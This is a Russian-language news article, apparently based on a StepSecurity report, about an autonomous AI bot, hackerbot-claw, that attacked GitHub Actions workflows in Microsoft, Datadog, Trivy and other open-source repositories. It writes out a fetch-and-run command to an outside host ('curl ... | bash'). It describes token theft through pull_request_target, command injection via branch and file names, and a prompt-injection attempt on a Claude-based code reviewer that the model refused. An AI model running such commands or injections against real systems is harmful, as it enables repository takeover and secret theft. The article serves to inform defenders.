Автономный бот взломал репозитории Microsoft и Datadog.

Согласно отчету StepSecurity, за последнюю неделю неизвестный бот с говорящим именем hackerbot-claw устроил настоящую охоту на популярные проекты с открытым кодом и показал, насколько уязвимой остаётся инфраструктура сборки. Автоматизированная программа методично искала слабые места в сценариях GitHub Actions и в ряде случаев добилась удалённого выполнения кода, а где-то и полного захвата репозитория.
Атаки продолжались с 21 по 28 февраля 2026 года. Учётная запись hackerbot-claw, созданная 20 февраля, называла себя «автономным агентом по исследованию безопасности» на базе языковой модели и даже указывала криптокошельки для пожертвований. За неделю бот открыл более десяти запросов на включение изменений и целенаправленно проверял сценарии сборки в репозиториях, связанных с Microsoft, Datadog, Cloud Native Computing Foundation, а также в крупных независимых проектах.
Общая схема выглядела одинаково. Бот создавал ветку или запрос на включение изменений, добивался запуска автоматической проверки и подсовывал вредоносную команду вида curl -sSfL hackmoltrepeat.com/molt | bash. Дальше сценарий сборки сам запускал код злоумышленника внутри среды непрерывной интеграции. В пяти из семи случаев атаки сработали полностью или частично.
Самый болезненный эпизод произошёл в репозитории avelino/awesome-go, одном из самых популярных списков проектов на Go. Бот воспользовался типичной ошибкой конфигурации, когда событие pull_request_target даёт сценарию доступ к секретам основного репозитория, но при этом система загружает код из внешней ветки. Вредоносный код добавили в функцию init() служебного Go-скрипта проверки качества. При сборке функция выполнилась автоматически и отправила токен GITHUB_TOKEN с правами записи на внешний сервер. Логи подтвердили, что проверка прошла успешно, а шаг выполнялся заметно дольше обычного. Украденный токен позволял менять код и объединять запросы на включение изменений.
Похожим образом пострадал проект project-akri/akri. Там злоумышленник просто добавил вредоносную строку в сценарий version.sh и оставил комментарий, который запускал автоматическое обновление версии. Сценарий без проверки автора выполнял код из внешней ветки и запускал встроенную команду.
В репозитории microsoft/ai-discovery-agent атака выглядела изобретательнее. Полезную нагрузку спрятали прямо в имени ветки. Когда сценарий записывал название ветки в файл через оболочку, интерпретатор выполнял подстановку команды. В журнале сборки появился двухминутный «провал», характерный для скачивания и запуска внешнего скрипта.
В datadog/datadog-iac-scanner бот закодировал команду в имени файла в формате base64. Сценарий передавал имя файла в цикл оболочки без экранирования, что снова приводило к выполнению команды. Команда Datadog закрыла уязвимость примерно через девять часов, добавив проверку прав автора и ужесточив параметры запуска.
Самым громким инцидентом стал взлом Aqua Security и проекта Trivy. Бот воспользовался тем же механизмом pull_request_target, чтобы внедрить код в действие настройки Go и похитить персональный токен доступа. Через 19 минут после запуска сценария украденный токен применили для прямой отправки изменений в основной репозиторий. Злоумышленник сделал проект приватным, переименовал его, удалил релизы с версий 0.27.0 по 0.69.1 и загрузил подозрительный файл в расширение Trivy для Visual Studio Code. Позже команда Aqua Security восстановила репозиторий и выпустила версию 0.69.2, но число отметок «звезда» обнулилось из-за пересоздания проекта.
В проекте ambient-code/platform бот попытался сыграть уже на модной теме и атаковал не человека, а систему автоматической проверки кода на базе модели Claude. В конфигурационный файл добавили инструкции, которые должны были заставить модель внести посторонние изменения и одобрить запрос. Модель распознала внедрения инструкций и отказалась выполнять указания, прямо указав на попытку подмены. Здесь защита сработала.
Последней целью стал RustPython/RustPython. В названии ветки снова спрятали команду, закодированную в base64. Сценарий автоформатирования запускался с повышенными правами и подставлял имя ветки в команду git push. В одном из запусков подстановка сработала частично, но из-за ошибки декодирования команда не дошла до стадии скачивания скрипта.
Всего бот применил пять разных техник: внедрение кода в сценарии, манипуляции с именем ветки, подмену имени файла, эксплуатацию pull_request_target и попытку «отравления» инструкций для модели искусственного интеллекта. Пять из семи целей оказались скомпрометированы в той или иной степени. В случае Trivy атака привела к полноценному захвату репозитория и удалению релизов.
История показывает, что автоматические боты уже сканируют открытые проекты без перерывов и выходных. Ошибочная конфигурация сценариев сборки превращается в прямой путь к секретам и токенам с правами записи. Разработчикам стоит пересмотреть использование pull_request_target, ограничить права GITHUB_TOKEN и внимательно проверить, какие данные попадают в команды оболочки без экранирования.